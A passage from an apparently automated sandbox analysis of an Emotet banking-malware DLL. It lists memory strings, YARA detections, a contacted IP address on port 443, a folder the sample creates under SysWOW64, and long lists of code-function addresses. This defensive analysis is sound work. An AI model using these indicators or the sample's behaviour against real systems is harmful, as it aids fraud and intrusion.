Music","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV"," equals www.twitter.com (Twitter)

Source: svchost.exe, 00000009.00000002.602601499.000001E83FE62000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000002.591117975.0000021E8B8E5000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.572181788.0000021E8B8E8000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000009.00000002.602509978.000001E83FE15000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000007.00000003.379592807.0000000005214000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.506570983.0000000005214000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.378767649.0000000005212000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000002.773753317.0000000005214000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.380052172.0000000005214000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?448426eeae8f8
Source: svchost.exe, 0000001F.00000003.564391800.0000021E8BF91000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564457255.0000021E8BFB2000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564478110.0000021E8BF6F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564036829.0000021E8BF80000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564023868.0000021E8BF6F000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: svchost.exe, 0000000E.00000002.308634880.000001CD38C13000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 0000000C.00000002.770897010.000002313B644000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 0000000C.00000002.770897010.000002313B644000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 0000000C.00000002.770897010.000002313B644000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 0000000C.00000002.770776311.000002313B629000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000C.00000002.770776311.000002313B629000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308707257.000001CD38C4B000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000E.00000002.308686000.000001CD38C3D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308707257.000001CD38C4B000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000E.00000003.308122559.000001CD38C4E000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308729135.000001CD38C56000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308250376.000001CD38C50000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308707257.000001CD38C4B000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000E.00000002.308686000.000001CD38C3D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000E.00000003.286363428.000001CD38C30000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000E.00000003.308182467.000001CD38C40000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308694172.000001CD38C42000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308223700.000001CD38C41000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000E.00000003.308182467.000001CD38C40000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308694172.000001CD38C42000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308223700.000001CD38C41000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000E.00000003.308182467.000001CD38C40000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308707257.000001CD38C4B000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000001F.00000003.564391800.0000021E8BF91000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564457255.0000021E8BFB2000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564478110.0000021E8BF6F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564036829.0000021E8BF80000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564023868.0000021E8BF6F000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308707257.000001CD38C4B000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000E.00000003.308147027.000001CD38C49000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308707257.000001CD38C4B000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000E.00000002.308761304.000001CD38C65000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308223700.000001CD38C41000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000E.00000003.308102108.000001CD38C61000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000E.00000003.286363428.000001CD38C30000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308686000.000001CD38C3D000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000E.00000003.286363428.000001CD38C30000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000E.00000002.308686000.000001CD38C3D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000E.00000002.308634880.000001CD38C13000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308686000.000001CD38C3D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000E.00000003.286363428.000001CD38C30000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000E.00000003.308182467.000001CD38C40000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308216969.000001CD38C45000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000E.00000003.286363428.000001CD38C30000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000E.00000002.308678800.000001CD38C39000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.286363428.000001CD38C30000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000E.00000003.308122559.000001CD38C4E000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.308729135.000001CD38C56000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308250376.000001CD38C50000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: svchost.exe, 0000001F.00000003.564391800.0000021E8BF91000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564457255.0000021E8BFB2000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564478110.0000021E8BF6F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564036829.0000021E8BF80000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564023868.0000021E8BF6F000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 0000001F.00000003.564391800.0000021E8BF91000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564457255.0000021E8BFB2000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564478110.0000021E8BF6F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564036829.0000021E8BF80000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.564023868.0000021E8BF6F000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 0000001F.00000003.566381591.0000021E8BF84000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.566395962.0000021E8BF95000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.566408108.0000021E8BFCD000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.566451706.0000021E8C402000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_10021027 InternetReadFile,

7_2_10021027

Source: global traffic

Source: unknown

HTTPS traffic detected: 51.178.61.60:443 -> 192.168.2.5:49759 version: TLS 1.2

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 3.2.rundll32.exe.2886c78.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.32a6ba0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.rundll32.exe.2de6d08.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.32a6ba0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.26b6bc0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2806c60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2806c60.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.32a6ba0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.32a6ba0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.32a6ba0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2886c78.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.26b6bc0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.32a6ba0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.rundll32.exe.2de6d08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2de6d08.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.rundll32.exe.2de6d08.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.26b6bc0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2de6d08.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.772022098.0000000002DD4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.250860645.00000000032A6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.276395554.0000000002DD4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.252359098.00000000032A6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.251084633.00000000032A6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.506501770.0000000002DD4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.256705273.0000000002806000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.254361044.000000000267A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.250320926.00000000026B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.327953238.0000000002DD4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.251529098.0000000002886000.00000004.00000001.sdmp, type: MEMORY

System Summary:

Source: wUKXjICs5f.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: C:\Windows\SysWOW64\Fuigi\opvkeqtc.jnf:Zone.Identifier

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Fuigi\

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF5B2B0	2_2_6EF5B2B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF5BB30	2_2_6EF5BB30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF59F20	2_2_6EF59F20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF5B080	2_2_6EF5B080
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF66564	2_2_6EF66564
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF5BB30	3_2_6EF5BB30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF5B2B0	3_2_6EF5B2B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF59F20	3_2_6EF59F20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF5B080	3_2_6EF5B080
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF66564	3_2_6EF66564
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000441E	3_2_1000441E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001CAA8	3_2_1001CAA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100143B3	3_2_100143B3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10004C00	3_2_10004C00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10008C09	3_2_10008C09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10011C10	3_2_10011C10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000F41F	3_2_1000F41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000EC27	3_2_1000EC27
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001F83F	3_2_1001F83F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001E441	3_2_1001E441
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10002043	3_2_10002043
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10003845	3_2_10003845
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000A048	3_2_1000A048
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001406E	3_2_1001406E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10001C76	3_2_10001C76
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001748A	3_2_1001748A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000CC8D	3_2_1000CC8D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001D091	3_2_1001D091
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10003C91	3_2_10003C91
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000AC95	3_2_1000AC95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001AC9B	3_2_1001AC9B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100178A5	3_2_100178A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100144AA	3_2_100144AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100190BA	3_2_100190BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100198BD	3_2_100198BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100208D1	3_2_100208D1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001CCD4	3_2_1001CCD4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001ECE3	3_2_1001ECE3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001A8F0	3_2_1001A8F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100030F6	3_2_100030F6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10003502	3_2_10003502
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001FD10	3_2_1001FD10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000251C	3_2_1000251C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10005923	3_2_10005923
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1002292B	3_2_1002292B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001F14D	3_2_1001F14D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000C158	3_2_1000C158
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001056A	3_2_1001056A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10014D8D	3_2_10014D8D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000758F	3_2_1000758F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000FD91	3_2_1000FD91
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10021193	3_2_10021193
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001D99A	3_2_1001D99A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10019DA1	3_2_10019DA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001B1B5	3_2_1001B1B5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100225C3	3_2_100225C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100055E8	3_2_100055E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000C5FE	3_2_1000C5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10001A0A	3_2_10001A0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000220A	3_2_1000220A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000E21C	3_2_1000E21C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10015220	3_2_10015220
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10009E22	3_2_10009E22
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000D223	3_2_1000D223
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10021A3C	3_2_10021A3C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10002A46	3_2_10002A46
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10002654	3_2_10002654
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10009A57	3_2_10009A57
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10007283	3_2_10007283
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10020687	3_2_10020687
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10014E8A	3_2_10014E8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000FEA0	3_2_1000FEA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001D6A7	3_2_1001D6A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000DAAE	3_2_1000DAAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10005AB2	3_2_10005AB2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001BEC9	3_2_1001BEC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10017ED1	3_2_10017ED1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10010ADE	3_2_10010ADE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001AEEB	3_2_1001AEEB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001DEF4	3_2_1001DEF4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10002309	3_2_10002309
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10006B25	3_2_10006B25
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10020B34	3_2_10020B34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10021343	3_2_10021343
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10003345	3_2_10003345
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10003F5C	3_2_10003F5C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10011F6B	3_2_10011F6B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001577E	3_2_1001577E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10009384	3_2_10009384
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10004F8E	3_2_10004F8E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001B397	3_2_1001B397
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10012FA2	3_2_10012FA2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10014BAA	3_2_10014BAA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10017BB2	3_2_10017BB2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000BFB6	3_2_1000BFB6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10006FC4	3_2_10006FC4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000A3DF	3_2_1000A3DF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001BFE8	3_2_1001BFE8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100203F1	3_2_100203F1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10004C00	4_2_10004C00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1000441E	4_2_1000441E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1000F41F	4_2_1000F41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10002043	4_2_10002043
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10003845	4_2_10003845
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10002A46	4_2_10002A46
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1001CAA8	4_2_1001CAA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_100190BA	4_2_100190BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_100208D1	4_2_100208D1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1001ECE3	4_2_1001ECE3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1001AEEB	4_2_1001AEEB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1001DEF4	4_2_1001DEF4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1001056A	4_2_1001056A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10009384	4_2_10009384
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1001D99A	4_2_1001D99A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10017BB2	4_2_10017BB2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10008C09	4_2_10008C09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10001A0A	4_2_10001A0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1000220A	4_2_1000220A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10011C10	4_2_10011C10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1000E21C	4_2_1000E21C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10015220	4_2_10015220
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10009E22	4_2_10009E22
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1000D223	4_2_1000D223
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1000EC27	4_2_1000EC27
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1001F83F	4_2_1001F83F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10021A3C	4_2_10021A3C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1001E441	4_2_1001E441
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1000A048	4_2_1000A048
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10002654	4_2_10002654
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10009A57	4_2_10009A57
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1001406E	4_2_1001406E
